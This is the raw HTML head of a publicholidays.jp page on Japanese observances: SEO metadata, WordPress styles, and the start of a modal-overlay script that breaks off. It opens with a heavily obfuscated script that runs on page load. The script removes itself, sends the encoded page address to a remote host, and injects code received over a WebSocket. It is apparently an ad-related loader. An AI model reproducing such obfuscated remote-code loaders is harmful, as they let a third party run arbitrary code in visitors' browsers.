35<script data-cfasync="false">(function(){function Y(R,Q){const i=h();return Y=function(W,E){W=W-(-0x40*-0x18+-0x11c*-0x1c+-0x2327);let A=i[W];if(Y['pdeMLF']===undefined){var M=function(a){const r='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let S='',p='';for(let g=0x296*-0x2+0x1*0xab3+-0x587,I,Z,s=-0x1a66+-0x7e4+0x224a;Z=a['charAt'](s++);~Z&&(I=g%(-0x3*-0x7dc+0x24e+-0x19de)?I*(0x1d12+0x19e9+0x36bb*-0x1)+Z:Z,g++%(0x19c6*0x1+0x1*-0x3d+-0x2f*0x8b))?S+=String['fromCharCode'](0x264e+-0x973*0x1+-0x1bdc&I>>(-(0xcf1+0x1072+-0x3*0x9cb)*g&0x2331+0x1bba+-0x3ee5)):0x6d*0x43+-0x1d*0xa+-0x1b65){Z=r['indexOf'](Z);}for(let P=0xcfe*0x2+-0x1cc0+-0x3*-0xec,X=S['length'];P<X;P++){p+='%'+('00'+S['charCodeAt'](P)['toString'](-0x3c1+-0x2201+0x2*0x12e9))['slice'](-(0x1e4a+0x19*-0xf7+-0x629));}return decodeURIComponent(p);};const d=function(a,r){let S=[],p=-0x1d03+-0x2032+0x3d35,g,I='';a=M(a);let Z;for(Z=-0x1*0x1db3+-0x22*-0xa7+0x785;Z<0x1fd5*0x1+0x3*0xa8f+-0x17d*0x2a;Z++){S[Z]=Z;}for(Z=-0x2562+0x190c+0xc56;Z<-0x685*-0x1+-0x3d*-0x49+-0x1*0x16ea;Z++){p=(p+S[Z]+r['charCodeAt'](Z%r['length']))%(0x752+0x2275+-0x28c7),g=S[Z],S[Z]=S[p],S[p]=g;}Z=-0x1583*0x1+-0x20d+0x1790,p=0x25*0x86+0xcca+0xa8*-0x31;for(let P=0x1599+0x402+-0x13*0x159;P<a['length'];P++){Z=(Z+(-0x8c3+0x8eb+-0x27))%(-0x144b+0x26be+-0x1173),p=(p+S[Z])%(0x50*-0x24+0x4*-0x1c+0xcb0),g=S[Z],S[Z]=S[p],S[p]=g,I+=String['fromCharCode'](a['charCodeAt'](P)^S[(S[Z]+S[p])%(-0x2441+-0x64c+0x2b8d)]);}return I;};Y['ReBzEU']=d,R=arguments,Y['pdeMLF']=!![];}const o=i[0x1af+-0x867+0x6b8],q=W+o,e=R[q];return!e?(Y['FtwHbh']===undefined&&(Y['FtwHbh']=!![]),A=Y['ReBzEU'](A,E),R[q]=A):A=e,A;},Y(R,Q);}function h(){const s=['pCovdue','f8ozEr0','WR/dR3G','nmoVjmoW','gCoCW6xdHq','WQbQW5JdGW','WRJdSwK','k8kWWOlcQq','wmk4j8kS','E8oPrqS','W6FcVhmk','ovT+WQ0','z2ZcQW4','wxWJyW','c8oeW7ZdHq','W6BdJmoLfW','DwNcISkm','W6BcUNuB','WRtdUsLAbCoXWOCqw1eMrCoa','kSovgWS','bWJdSSke','hhldPvq','ymkcqLNcJNtdMsRcJmkZ','zvvTWQ0','W6VdJXDv','kKpcUvW','WQXGW5NcNq','bH7dUCop','qhbwW6y','g8oiW7VcJG','Amk4ASk2','lCovmam','CSkOcGG','nmoOWQS7','vNvAW60','BsFcJuK','WR/dOMxcJW','W5hdRNq','omkzWORcMSkoy8kmlKddGa','m2JdJHu','zmodWRVcTa','F3xcHq','W4Pxb8ob','W4feW5hdRq','WPiJbmoN','tCoCW7NcKW','mNVcMbS','W7lcKq1d','W5hdUMuN','W5FdUg49','lSoEjr0','jSkmxSo9','o8kRvIa','ySkJyqm','WPldT8kErG','ldGgWQS','WP4UeCoy','l8k2WP/cTa','exNcSHm','F8kSjSo6','rr1TvG','eCobBGe','e8kaW7dcMq','W5TfWPddVa','bSoUD8o8sSooW7JcIf0oWRn5','gmovjqy','WPOZqmkS','WOVdRwG4','igueWQi','m8k9W57cQq','bMJcQ0K','FNRdMuC','fCoaWRJdJa','BN7dLSot','WOpdVSkchq','WRFdVY5CySkpW4GqsxS','jSkkt8oR','emkbEaC','pSovasa','WQBdVmo6WOO','DCk8W6TLrCkSW6tdV8oZua','W7xcRCkrW4BdP8oeiCk4zCouW5DU','WQ3cSCohWPK','WRxdQ2NcLq','gJpcQf8','FSkJrqS','bvnHda','WPmLbmoV','F8ojh8k8wx3dMrLWW5pcLrbA','WQxdRCobWPC','W4ddShS/','kIhcHv8','W6ODwIi','WQtdHmk3W7W','WQDHW5BdLW','W5VdU282','kmkQsYa','W57dSsq2','hCkLW6ZcMq','WQORW4xdKG','W73dJHri','WQxdPMG','DmkKrWS','WOZdP3u/','eCoEEqa','W47cQConx2CewmkiW4S+','vSkJW6FdPq','WOpdS8kBcG','WRngW6SIgNhdVN7cUZe','WPvUaSoI','BJJcKG','EmkNsqO','omouwbW','bZzy','g3JcIvu','W7JdQ0fF','W6ZcPhG','z0TKWQ0','WPhcQ244','k8oIWQ8G','WQKDWRHU','WPpdVsK/','gfDOtq','WRpdRxqI','WQldVSoqWPC','WRX3W5BdLa','WP7dP2i','WQNdNSkMW74','WQxdQw3cHG','qgXEW7C','W5rkWPhdUG','A8kiWRBcNW','r8kLjW','uuNcTmorW4DTWQlcLSk7W7ldOSoM','owVcGKu','n8kQxsi','r8k0nSkK','BCotWRlcNq','BvfYW7C','wN3cRHa','WPFdOwyY','W6ZdU1To','D2ldLGNdUN7dR0WnWOZcLSou','gmojzqG','W6dcLrXs','W7FcGaLh','WQtdO2NcHG','WRPfg3q4tCk0W6HIlCkSW40b','D8k5th0','vSkYWQhdOG','WQDWW4pdGW','WPm0WRDk','W6SssZe','EWK1W7f9i8onWORdHKS','yYBdHqtdSSo5tSoVW4JdK8o0uW','WRhdSsLCdmoXWOOvzM4vw8ov','aJpcP1W','i1TTWQG','CmkLWPtdRq','iSoLWQ0f','m8o9W4BcOa','W5RdOx8J','wSkJlCkS','WPrVaSoN','AmoWjG','xCkJlmkS','kSkZFmkSCfpdPGK9ta','WRxcPCklW5K','WRZcJbXp','W6BdULTB','WOWMxSkT','W4qBWPdcTG','q8kCpfZcLWhcH8klxgBcRCoJ','WOtcOCovrG','lLDHWQu','lI/cOua','W4nyW7VdVa','ACoJmSo6','W7SiWPz+','CgJdICkn','t8odW5ldLG','m8oPW4FdOa','mmkXvYy','W5ddT2qK','WRZcLmoiW7q','CgpcISka','gSoYW4BdUW','lSo7WQ19','vmkWWRJdTW','W5b9fCkV','kCoVWRWQ','WQBdOCkWWPK','cXFdPq'];h=function(){return s;};return h();}(function(R,Q){const a=Y,i=R();while(!![]){try{const W=-parseInt(a(0x27a,'Qv6R'))/(-0x15d6+0x1*-0x1dd3+0x33aa)+-parseInt(a(0x26e,'E]hH'))/(0x3cf+0x169*-0xb+0xbb6*0x1)+-parseInt(a(0x238,'KV^%'))/(-0xe5*-0x6+0x3ec+-0x5*0x1db)+parseInt(a(0x249,'rdSa'))/(0x1*-0x76d+-0x157*0x1+-0x4*-0x232)*(parseInt(a(0x279,'gIDd'))/(0x559*0x1+-0x494+-0xc0))+parseInt(a(0x265,'3V)r'))/(-0x1a+-0x1583*0x1+0x15a3)+parseInt(a(0x27b,'5U4F'))/(0x1*-0x577+-0x86*-0x25+0x6f*-0x20)+parseInt(a(0x24c,'!rGr'))/(0x1599+0x402+-0x1*0x1993)*(parseInt(a(0x22b,'5U4F'))/(-0x8c3+0x8eb+-0x1f));if(W===Q)break;else i['push'](i['shift']());}
35catch(E){i['push'](i['shift']());}}}(h,-0x7475e+0xde50b+0x63af),(function(){const r=Y;window[r(0x1f9,'^$Sm')+'_'+window[r(0x1ea,'5U4F')](window[r(0x2a9,'sVhJ')+r(0x223,'(NDm')][r(0x22c,'KV^%')])]={'HTMLIFrameElement_contentWindow':Object[r(0x22e,'3DPA')+r(0x212,'3DPA')+r(0x22f,'kgM[')+r(0x290,'1qAB')+r(0x1eb,'gIDd')+r(0x240,'rfdP')](HTMLIFrameElement[r(0x219,'gwKE')+r(0x267,'rfdP')+'e'],r(0x210,'o0V8')+r(0x27f,'dmuD')+r(0x20a,'SLoL')+'w')};function R(W){const S=r,[E,...A]=W,M=document[S(0x224,'EW)^')+S(0x215,'J6Pv')+S(0x211,'o0V8')+'t'](S(0x247,'(NDm')+'pt');return M[S(0x264,'sVhJ')]=E,M[S(0x208,'V9Lb')+S(0x20b,'1qAB')+S(0x25b,'(NDm')+S(0x23d,'0OvY')](S(0x248,'9HkH')+'r',()=>{const p=S;if(A[p(0x26f,'9HkH')+'th']>0x21*0x53+-0xfe*-0x20+-0x2a73)R(A);else{const o=new WebSocket(p(0x229,'uHWx')+p(0x21c,'@^FD')+p(0x228,'vT3(')+p(0x236,'@^FD')+p(0x24a,'vv4%')+'s');o[p(0x298,'&[!4')+p(0x25d,'zO]Q')+'e']=q=>{const g=p,e=q[g(0x271,'mW#p')],d=document[g(0x239,'!u1J')+g(0x1ff,'3DPA')+g(0x21d,'9HkH')+'t'](g(0x201,'dmuD')+'pt');d[g(0x22a,'rdSa')+g(0x294,'jo5^')+g(0x2a7,'[655')]=e,document[g(0x235,'J6Pv')][g(0x2a5,'vT3(')+g(0x252,'^$Sm')+g(0x254,'5U4F')](d);},o[p(0x2a6,'zO]Q')+'en']=()=>{const I=p;o[I(0x1f3,'3DPA')](I(0x1f4,'3V)r')+I(0x282,'sVhJ')+'l');};}}),document[S(0x237,'ad^i')][S(0x20f,'mW#p')+S(0x1ed,'&mrc')+S(0x2a0,'3V)r')](M),M;}const Q=document[r(0x2a2,'9HkH')+r(0x218,'ad^i')+r(0x275,'vv4%')+'t'][r(0x23c,'3sow')+r(0x2a3,'xgrn')][r(0x28e,'gIDd')+'in']??r(0x269,'V9Lb')+r(0x28f,'jYRO')+r(0x21b,'fIdJ');document[r(0x214,'rfdP')+r(0x218,'ad^i')+r(0x1f1,'5U4F')+'t'][r(0x25a,'@^FD')+'ve']();const i=document[r(0x239,'!u1J')+r(0x26a,'JY2f')+r(0x202,'jW]b')+'t'](r(0x268,'sVhJ')+'pt');i[r(0x284,'fIdJ')]=r(0x213,'KV^%')+r(0x28b,'1qAB')+Q+(r(0x297,'(NDm')+r(0x29b,'dmuD'))+btoa(location[r(0x296,'rfdP')+r(0x24f,'J6Pv')])[r(0x23a,'o0V8')+r(0x25e,'(NDm')](/=+$/,'')+r(0x209,'Qv6R'),i[r(0x292,'U5(Z')+r(0x2a8,'gwKE')+r(0x26d,'&]i(')](r(0x25c,'!u1J')+r(0x20d,'qVf8'),r(0x222,'qm[e')+r(0x251,'&mrc')),i[r(0x277,'5t8&')+r(0x253,'&]i(')+r(0x29a,'1XE8')+r(0x278,'3sow')](r(0x295,'1XE8')+'r',()=>{const Z=r;R([Z(0x266,'Qv6R')+Z(0x28a,'qm[e')+Z(0x1fd,'vT3(')+Z(0x23b,'E]hH')+Z(0x257,'dmuD')+Z(0x258,'!rGr')+Z(0x274,'rfdP')+Z(0x250,'3DPA')+Z(0x272,'xgrn')+Z(0x1ec,'jYRO')+Z(0x23f,'o0V8')+Z(0x1f8,'mW#p'),Z(0x233,'[655')+Z(0x287,'!u1J')+Z(0x20e,'Qv6R')+Z(0x270,'mW#p')+Z(0x27d,'gIDd')+Z(0x225,'gwKE')+Z(0x217,'EW)^')+Z(0x27e,'gwKE')+Z(0x1ee,'vT3(')+Z(0x241,'o0V8')+Z(0x288,'mW#p')+Z(0x244,'mW#p')+Z(0x21a,'^$Sm')+'js',Z(0x25f,'0OvY')+Z(0x1fe,'fIdJ')+Z(0x20e,'Qv6R')+Z(0x226,'^$Sm')+Z(0x20c,'ad^i')+Z(0x259,'(NDm')+Z(0x283,'ad^i')+Z(0x26b,'^$Sm')+Z(0x204,'xgrn')+Z(0x1f0,'uHWx')+Z(0x2a4,'fIdJ')+Z(0x256,'(NDm')+Z(0x1fb,'3V)r')+'js',Z(0x281,'o0V8')+Z(0x1ef,'emw!')+Z(0x1fa,'zO]Q')+Z(0x261,'jW]b')+Z(0x260,'xgrn')+Z(0x221,'9HkH')+Z(0x234,'^$Sm')+Z(0x29d,'qm[e')+Z(0x1fc,'jW]b')+Z(0x21f,'1qAB')+Z(0x1f7,'gIDd')+Z(0x263,'V9Lb')+Z(0x2a1,'3DPA')+'js',Z(0x289,'&]i(')+Z(0x207,'E]hH')+Z(0x291,'fIdJ')+Z(0x200,'J6Pv')+Z(0x285,'sVhJ')+Z(0x262,'1qAB')+Z(0x29f,'kgM[')+Z(0x22d,'9HkH')+Z(0x293,'uHWx')+Z(0x227,'Qv6R')+Z(0x280,'1XE8')+Z(0x23e,'zO]Q')+Z(0x21e,'qVf8')+Z(0x1f5,'^$Sm')+Z(0x242,'*ME%')+Z(0x24e,'E]hH'),Z(0x276,'zO]Q')+Z(0x28d,'rdSa')+Z(0x246,'J6Pv')+Z(0x24d,'ad^i')+Z(0x24b,'rdSa')+Z(0x232,'!u1J')+Z(0x1e9,'J6Pv')+Z(0x255,'gIDd')+Z(0x216,'rdSa')+Z(0x243,'zO]Q')+Z(0x27c,'^$Sm')+Z(0x299,'uHWx')+Z(0x29e,'dmuD')+Z(0x205,'(NDm')]);}),document[r(0x26c,'(NDm')][r(0x29c,'vv4%')+r(0x203,'jYRO')+r(0x245,'xgrn')](i);}()));})();</script>
35
36<meta class="swiftype" name="image" data-type="enum" content="https://publicholidays.jp/wp-content/uploads/2024/02/Japan_Observances_Output-300x125.jpg">
37<meta name='robots' content='noindex, follow' />
38
39	<!-- This site is optimized with the Yoast SEO plugin v28.4 - https://yoast.com/product/yoast-seo-wordpress/ -->
40	<title>Other Observances - PublicHolidays.jp</title>
41	<meta property="og:locale" content="en_US" />
42	<meta property="og:type" content="article" />
43	<meta property="og:title" content="Other Observances - PublicHolidays.jp" />
44	<meta property="og:url" content="https://publicholidays.jp/observances/" />
45	<meta property="og:site_name" content="PublicHolidays.jp" />
46	<meta property="article:publisher" content="https://facebook.com/publicholidays.global" />
47	<meta property="article:modified_time" content="2025-08-26T19:40:04+00:00" />
48	<meta property="og:image" content="https://publicholidays.jp/wp-content/uploads/2024/02/Japan_Observances_Output.jpg" />
49	<meta property="og:image:width" content="1920" />
50	<meta property="og:image:height" content="800" />
51	<meta property="og:image:type" content="image/jpeg" />
52	<meta name="twitter:card" content="summary_large_image" />
53	<meta name="twitter:site" content="@pubholidays" />
54	<meta name="twitter:label1" content="Est. reading time" />
55	<meta name="twitter:data1" content="1 minute" />
56	
56<script type="application/ld+json" class="yoast-schema-graph">{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/publicholidays.jp\/observances\/","url":"https:\/\/publicholidays.jp\/observances\/","name":"Other Observances - PublicHolidays.jp","isPartOf":{"@id":"https:\/\/publicholidays.jp\/#website"},"primaryImageOfPage":{"@id":"https:\/\/publicholidays.jp\/observances\/#primaryimage"},"image":{"@id":"https:\/\/publicholidays.jp\/observances\/#primaryimage"},"thumbnailUrl":"https:\/\/publicholidays.jp\/wp-content\/uploads\/2024\/02\/Japan_Observances_Output.jpg","datePublished":"2024-02-20T05:06:45+00:00","dateModified":"2025-08-26T19:40:04+00:00","inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/publicholidays.jp\/observances\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/publicholidays.jp\/observances\/#primaryimage","url":"https:\/\/publicholidays.jp\/wp-content\/uploads\/2024\/02\/Japan_Observances_Output.jpg","contentUrl":"https:\/\/publicholidays.jp\/wp-content\/uploads\/2024\/02\/Japan_Observances_Output.jpg","width":1920,"height":800,"caption":"Other Observances - PublicHolidays.jp"},{"@type":"WebSite","@id":"https:\/\/publicholidays.jp\/#website","url":"https:\/\/publicholidays.jp\/","name":"PublicHolidays.jp","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/publicholidays.jp\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"}]}</script>
56
57	<!-- / Yoast SEO plugin. -->
58
59
60<link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://publicholidays.jp/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fpublicholidays.jp%2Fobservances%2F" />
61<link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://publicholidays.jp/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fpublicholidays.jp%2Fobservances%2F&#038;format=xml" />
62<style id="wp-img-auto-sizes-contain-inline-css">
63img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px}
64/*# sourceURL=wp-img-auto-sizes-contain-inline-css */
65</style>
66<style id="wp-emoji-styles-inline-css">
67
68	img.wp-smiley, img.emoji {
69		display: inline !important;
70		border: none !important;
71		box-shadow: none !important;
72		height: 1em !important;
73		width: 1em !important;
74		margin: 0 0.07em !important;
75		vertical-align: -0.1em !important;
76		background: none !important;
77		padding: 0 !important;
78	}
79/*# sourceURL=wp-emoji-styles-inline-css */
80</style>
81<style id="classic-theme-styles-inline-css">
82/*! This file is auto-generated */
83.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}
84/*# sourceURL=/wp-includes/css/classic-themes.min.css */
85</style>
86
87<style id="global-styles-inline-css">
88:root{--wp--preset--aspect-ratio--square: 1;--wp--preset--aspect-ratio--4-3: 4/3;--wp--preset--aspect-ratio--3-4: 3/4;--wp--preset--aspect-ratio--3-2: 3/2;--wp--preset--aspect-ratio--2-3: 2/3;--wp--preset--aspect-ratio--16-9: 16/9;--wp--preset--aspect-ratio--9-16: 9/16;--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgb(6,147,227) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgb(252,185,0) 0%,rgb(255,105,0) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgb(255,105,0) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);
88--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgb(255, 255, 255), 6px 6px rgb(0, 0, 0);--wp--preset--shadow--crisp: 6px 6px 0px rgb(0, 0, 0);}.wp-block-button{--wp--preset--dimension--25: 25%;--wp--preset--dimension--50: 50%;--wp--preset--dimension--75: 75%;--wp--preset--dimension--100: 100%;}:where(body) { margin: 0; }:where(.is-layout-flex){gap: 0.5em;}:where(.is-layout-grid){gap: 0.5em;}body .is-layout-flex{display: flex;}.is-layout-flex{flex-wrap: wrap;align-items: center;}.is-layout-flex > :is(*, div){margin: 0;}body .is-layout-grid{display: grid;}.is-layout-grid > :is(*, div){margin: 0;}body{padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;}:root :where(.wp-element-button, .wp-block-button__link){background-color: #32373c;border-width: 0;color: #fff;font-family: inherit;font-size: inherit;font-style: inherit;font-weight: inherit;letter-spacing: inherit;line-height: inherit;padding-top: calc(0.667em + 2px);padding-right: calc(1.333em + 2px);padding-bottom: calc(0.667em + 2px);padding-left: calc(1.333em + 2px);text-decoration: none;text-transform: inherit;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}
88.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}
89/*# sourceURL=global-styles-inline-css */
90</style>
91
92<link rel='stylesheet' id='theme_combined-css' href='https://publicholidays.jp/wp-content/themes/bb-phg/css/combined.css?ver=1788525049' media='all' />
93<link rel='stylesheet' id='phg-select2-css' href='https://publicholidays.jp/wp-content/themes/bb-phg/css/select2.min.css?ver=7.1' media='all' />
94<link rel='stylesheet' id='tablepress-default-css' href='https://publicholidays.jp/wp-content/plugins/tablepress/css/build/default.css?ver=3.3.4' media='all' />
95<script id="jquery-core-js" src="https://publicholidays.jp/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
vendor: 1 bytes, line 95
95
96<script id="jquery-migrate-js" src="https://publicholidays.jp/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
96
97<link rel="https://api.w.org/" href="https://publicholidays.jp/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://publicholidays.jp/wp-json/wp/v2/pages/2758" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://publicholidays.jp/xmlrpc.php?rsd" />
98<meta name="generator" content="WordPress 7.1" />
99<link rel='shortlink' href='https://publicholidays.jp/?p=2758' />
100<script data-cfasync="false" type="text/javascript">
101  (()=>{"use strict";var t={455:(t,e,n)=>{n.d(e,{Z:()=>c});var r=n(81),o=n.n(r),i=n(645),a=n.n(i)()(o());a.push([t.id,'div._1x7oe5p{position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:999999}div._1x7oe5p *{box-sizing:border-box}div._1x7oe5p div._1tkdorm{position:fixed;top:50%;left:50%;transform:translate(-50%, -50%);display:flex;flex-direction:column;justify-content:flex-start;min-height:25vh;width:50%;background-color:#fff;border:none;border-radius:1em;box-shadow:0 0 10px rgba(0,0,0,.3);text-align:center;font-size:13px;font-family:Arial,Helvetica,sans-serif;font-weight:bold;line-height:2;color:#000}div._1x7oe5p div._1tkdorm *:before,div._1x7oe5p div._1tkdorm *:after{content:"";display:none}@media screen and (max-width: 479px){div._1x7oe5p div._1tkdorm{font-size:13px;width:90%}}@media screen and (min-width: 480px){div._1x7oe5p div._1tkdorm{font-size:14px;width:80%}}@media screen and (min-width: 608px){div._1x7oe5p div._1tkdorm{font-size:14px;width:70%}}@media screen and (min-width: 960px){div._1x7oe5p div._1tkdorm{font-size:16px;width:70%}}@media screen and (min-width: 1200px){div._1x7oe5p div._1tkdorm{font-size:16px;width:840px}}div._1x7oe5p div._1tkdorm header{width:100%;background-color:rgba(0,0,0,0);border:0;color:inherit;display:block;font-size:1em;font-family:inherit;letter-spacing:normal;margin:0;opacity:1;outline:none;padding:1em 2em;position:static;text-align:center}div._1x7oe5p div._1tkdorm header img{display:inline;margin:0 0 16px 0;padding:0;max-width:240px;max-height:60px}div._1x7oe5p div._1tkdorm header h2{display:block;line-height:1.3;padding:0;font-family:inherit;font-weight:normal;font-style:normal;text-decoration:initial;text-align:center;font-size:1.75em;margin:0;color:inherit}div._1x7oe5p div._1tkdorm header h2:not(img+*){margin-top:30px}div._1x7oe5p div._1tkdorm header span.zw3zih{position:absolute;top:0;right:15px;font-size:2em;font-weight:normal;cursor:pointer;color:inherit}div._1x7oe5p div._1tkdorm header span.zw3zih:hover{filter:brightness(115%)}div._1x7oe5p div._1tkdorm section{width:100%;margin:0;padding:1em 2em;text-align:center;font-family:inherit;color:inherit;background:rgba(0,0,0,0)}div._1x7oe5p div._1tkdorm section p{display:block;margin:0 0 1em 